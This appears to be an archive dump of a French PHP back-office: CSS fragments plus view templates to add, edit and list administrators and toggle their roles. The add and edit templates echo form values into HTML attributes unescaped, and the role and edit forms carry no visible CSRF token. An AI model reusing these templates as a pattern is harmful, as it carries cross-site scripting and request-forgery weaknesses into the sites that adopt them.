	.hidden-lg,tr.hidden-lg,th.hidden-lg,td.hidden-lg {
		display: none !important;
	}
}

.visible-print,tr.visible-print,th.visible-print,td.visible-print {
	display: none !important;
}

@media print {
	.visible-print {
		display: block !important;
	}
	table.visible-print {
		display: table;
	}
	tr.visible-print {
		display: table-row !important;
	}
	th.visible-print,td.visible-print {
		display: table-cell !important;
	}
	.hidden-print,tr.hidden-print,th.hidden-print,td.hidden-print {
		display: none !important;
	}
}

@media ( max-width : 1440px) {
	.col-xs-1,.col-xs-2,.col-xs-3 {
		width: 33.33%;
	}
}

@media ( max-width : 1100px) {
	.col-xs-1,.col-xs-2,.col-xs-3 {
		width: 50%;
	}
	.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12
		{
		width: 100% !important;
	}
}admin-black.css000060400000000205150710775200007415 0ustar00.logo a {
    color: #fff;
    font-size: 20px;
    font-weight: bold;
}

.topnavigation ul li.active {
    background-color: #000;
}edit.phtml000060400000004034150714751770006552 0ustar00 <div class="table-box">
	<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/edit" method="post">
	<table class="table">
		<thead>
			<tr>
				<th colspan="2" class="col-md-4" ><?php echo $this->titlePage; ?></th>
			</tr>
		</thead>
		<tbody>
			<?php echo $this->render("alert_tr.phtml"); ?>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Nom</td>
				<td class="col-md-8"><input type="text" class="form-control" name="lastname" id="lastname" value="<?php echo $this->populateForm['NOM']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Pr�nom</td>
				<td class="col-md-8"><input type="text" class="form-control" name="firstname" id="firstname" value="<?php echo $this->populateForm['PRENOM']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Email</td>
				<td class="col-md-8"><input type="text" class="form-control" name="email" id="email" value="<?php echo $this->populateForm['EMAIL']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Login</td>
				<td class="col-md-8"><input type="text" class="form-control" name="login" id="login" value="<?php echo $this->populateForm['LOGIN']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4">Nouveau mot de passe</td>
				<td class="col-md-8"><input type="password" class="form-control" name="editpassword" id="editpassword" value=""/></td>
			</tr>
			<tr >
				<td class="col-md-4">Confirmer le nouveau mot de passe</td>
				<td class="col-md-8"><input type="password" class="form-control" name="editpassword2" id="editpassword2" value=""/></td>
			</tr>
			<tr>
				<td colspan="2" class="text-center">
					<input type="hidden" name="id" id="id" value="<?php echo $this->populateForm['ID']; ?>">
					<button class="btn btn-success" type="submit" name="add"><i class="glyphicon glyphicon-edit"></i>&nbsp;Modifier</button>
				</td>
			</tr>
		</tbody>
	</table>
	</form>
</div>
<div class="clearfix"></div>list.phtml000060400000022661150714751770006606 0ustar00<div class="table-box">
<div class="col-md-12 header-single-line">
	<div class="col-md-5 header-single no-space-top"><?php echo $this->titlePage; ?></div>
	<div class="col-md-7 no-space-top"><?php echo $this->render("alert.phtml"); ?></div>
</div>
<table class="display table" id="adminTable" width="100%">
	<thead>
		<tr>
			<th>Nom</th>
			<th>Pr�nom</th>
			<th>Email</th>
			<th>Login</th>
			<th class="text-center">R�les</th>
			<th></th>
		</tr>
	</thead>
	<tbody>
	
		<?php foreach($this->listadmins as $row)  { ?>
		<tr>
			<td><?php echo $this->escape($row->NOM);?></td>
			<td><?php echo $this->escape($row->PRENOM);?></td>
			<td><?php echo $this->escape($row->EMAIL);?></td>
			<td><?php echo $this->escape($row->LOGIN);?></td>
			<td>
			<?php  if ($this->isSiteGallery) {  ?>
			
					<div class="col-md-6 no-space-top">  	
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isAdmin">
							<?php if ($row->isADMIN == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Administrateur</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Administrateur</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-6 no-space-top">  	
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isCategory">
							<?php if ($row->isCATEGORY == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Cat�gorie</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Cat�gorie</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
				<?php } ?>
			
				<?php  if ($this->isSiteEbusiness) {  ?>
					<div class="col-md-3 ">                        
	                 	<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isProduct">
							<?php if ($row->isPRODUCT == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Produit</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Produit</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>	
					<div class="col-md-3">  
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isPromo">
							<?php if ($row->isPROMO == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Promotion</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Promotion</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-3">  
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isCommand">
							<?php if ($row->isCOMMAND == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Commande</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Commande</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-3">  	
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isCategory">
							<?php if ($row->isCATEGORY == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Catégorie</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Catégorie</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-3">  	
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isSupplier">
							<?php if ($row->isSUPPLIER == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Fournisseur</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Fournisseur</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-3">     
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isUser">
							<?php if ($row->isUSER == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Client</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Client</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-3">  	
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isFooter">
							<?php if ($row->isFOOTER == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Pied de page</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Pied de page</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-3">  	
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isAdmin">
							<?php if ($row->isADMIN == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Administrateur</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Administrateur</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
					</div>
					<div class="col-md-3">  	
						<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/setrole" method="POST">
							<input type="hidden" name="idadmin" value="<?php echo $this->escape($row->ID);?>">
							<input type="hidden" name="roletype" value="isStats">
							<?php if ($row->isSTATS == 1 ) {  ?>
								<button type="submit" class="btn btn-success btn-group-justified">Statistique</button>
								<input type="hidden" name="rolevalue" value="0">
							<?php } else { ?>
								<button type="submit" class="btn btn-danger btn-group-justified">Statistique</button>
								<input type="hidden" name="rolevalue" value="1">
							<?php } ?>
						</form>
                    </div>
			
				<?php } ?>
			</td>
			<td class="text-center no-space-side">
				<div class="btn-group" >
	             	<a class="btn btn-success" href="<?php echo $this->baseUrl; ?>/backoffice/admin/edit/id/<?php echo $row->ID; ?>" ><span class="glyphicon glyphicon-edit"></span> Modifier</a>
					<button class="btn btn-danger btn-modal" data-toggle="ajaxModalDelete" data-linkok="<?php echo $this->baseUrl; ?>/backoffice/admin/del/id/<?php echo $row->ID; ?>" ><span class="glyphicon glyphicon-trash"></span> Supprimer</button>
				</div>
			</td>
		</tr>
		<?php } ?>
	</tbody>
</table>
<script>			
	$(document).ready(function() {
		initDataTable('adminTable', [[0, "asc" ]], [ { "orderable": false, "targets": -2},{ "orderable": false, "targets": -1, "width": "270px" }]); 	

		  $('.greenbutns').each(function(){
				var self = $(this),
				  label = self.next(),
				  label_text = label.text();
			
				label.remove();
				self.iCheck({
				  checkboxClass: 'icheckbox_line-green',
				  radioClass: 'iradio_line-green',
				  insert: '<div class="icheck_line-icon"></div>' + label_text
				});
			  });
	});
</script>
</div>

add.phtml000060400000004025150714751770006355 0ustar00 <div class="table-box">
	<form action="<?php echo $this->baseUrl; ?>/backoffice/admin/add" method="post">
	<table class="table">
		<thead>
			<tr>
				<th colspan="2" class="col-md-4" ><?php echo $this->titlePage; ?></th>
			</tr>
		</thead>
		<tbody>
			<?php echo $this->render("alert_tr.phtml"); ?>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Nom</td>
				<td class="col-md-8"><input type="text" class="form-control" name="lastname" id="lastname" value="<?php echo $this->populateForm['NOM']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Pr�nom</td>
				<td class="col-md-8"><input type="text" class="form-control" name="firstname" id="firstname" value="<?php echo $this->populateForm['PRENOM']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Email</td>
				<td class="col-md-8"><input type="text" class="form-control" name="email" id="email" value="<?php echo $this->populateForm['EMAIL']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Login</td>
				<td class="col-md-8"><input type="text" class="form-control" name="addlogin" id="addlogin" value="<?php echo $this->populateForm['LOGIN']; ?>"/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Mot de passe</td>
				<td class="col-md-8"><input type="password" class="form-control" name="addpassword" id="addpassword" value=""/></td>
			</tr>
			<tr >
				<td class="col-md-4"><i class="glyphicon glyphicon-asterisk"></i>&nbsp;Confirmer le mot de passe</td>
				<td class="col-md-8"><input type="password" class="form-control" name="addpassword2" id="addpassword2" value=""/></td>
			</tr>
			<tr>
				<td colspan="2" class="text-center">
					<button class="btn btn-success" type="submit" name="add"><i class="glyphicon glyphicon-plus"></i>&nbsp;Ajouter</button>
				</td>
			</tr>
		</tbody>
	</table>
	</form>
</div>
<div class="clearfix"></div>